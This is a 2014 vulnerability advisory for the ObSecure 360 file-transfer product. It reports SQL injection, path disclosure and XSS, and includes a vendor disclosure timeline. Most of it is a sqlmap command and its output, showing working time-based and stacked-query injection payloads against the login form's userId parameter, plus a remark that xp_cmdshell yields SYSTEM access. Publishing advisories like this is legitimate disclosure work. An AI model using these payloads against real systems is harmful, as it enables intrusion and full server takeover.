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Obsecure360 Framework SQL Injection, Path Disclosure, Reflected XSS

Release Date:
 23-Dec-2014

Software:
 ObSecure 360
 http://obsecure.com.au/Solutions.html
 
 "obsecure is an innovative cyber security software company that provides high
  security information distribution and transfer solutions that take the risk
  out of doing business."
  
  Clients include government, healthcare & doctors, corporate, legal and law enforcement.

Versions tested:
 Version unknown.

1) SQL injection on the login form. You can use sqlmap for this.

./sqlmap.py -u "https://[target]/Reader/" --cookie "PHPSESSID=[session]" --forms

[03:25:52] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'https://[target]/Reader/Reader.php'. Do you want to follow? [Y/n] y
[03:25:55] [INFO] heuristics detected web page charset 'ISO-8859-2'
[03:25:55] [INFO] searching for forms
[#1] form:
POST https://[target]:443/Reader/actions/login/verify_username.php
Cookie: PHPSESSID=[session]
POST data: userId=&login=Continue
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: userId=&login=Continue] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n] y
[03:26:01] [INFO] using 'results-06282013_0326am.csv' as the CSV results file in multiple targets mode
[03:26:01] [INFO] heuristics detected web page charset 'ascii'
[03:26:01] [INFO] testing if the target URL is stable. This can take a couple of seconds
[03:26:03] [INFO] target URL is stable
[03:26:03] [INFO] testing if POST parameter 'userId' is dynamic
[03:26:03] [WARNING] POST parameter 'userId' does not appear dynamic
[03:26:03] [WARNING] heuristic (basic) test shows that POST parameter 'userId' might not be injectable
[03:26:03] [INFO] testing for SQL injection on POST parameter 'userId'
[03:26:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:26:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[03:26:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:26:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[03:26:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[03:26:12] [INFO] testing 'MySQL inline queries'
[03:26:12] [INFO] testing 'PostgreSQL inline queries'
[03:26:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[03:26:12] [INFO] testing 'Oracle inline queries'
[03:26:13] [INFO] testing 'SQLite inline queries'
[03:26:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:26:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:26:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:26:27] [INFO] POST parameter 'userId' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[03:26:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:26:37] [INFO] POST parameter 'userId' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[03:26:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[03:26:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[03:26:44] [INFO] checking if the injection point on POST parameter 'userId' is a false positive
POST parameter 'userId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 80 HTTP(s) requests:
---
Place: POST
Parameter: userId
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: userId=ufgv'; WAITFOR DELAY '0:0:5'--&login=Continue

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: userId=ufgv' WAITFOR DELAY '0:0:5'--&login=Continue
---
do you want to exploit this SQL injection? [Y/n] 
[03:27:04] [INFO] testing Microsoft SQL Server
[03:27:04] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
[03:27:12] [INFO] confirming Microsoft SQL Server
[03:27:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: Microsoft SQL Server 2000

The software package ships with MSSQL2000 even though it is a decade+ old, so a simple xp_cmdshell() will yield SYSTEM access without any trickery.

2) There are other problems such as path disclosures and script injection issues present.

Credit:
 This vulnerability was discovered by Patrick Webster.

Disclosure timeline:
 28-Jun-2013 - Discovered during audit.
 30-Jul-2013 - Notified vendor. No response.
 30-Oct-2014 - Asked vendor for a reply. No response.
 23-Dec-2014 - Public disclosure.

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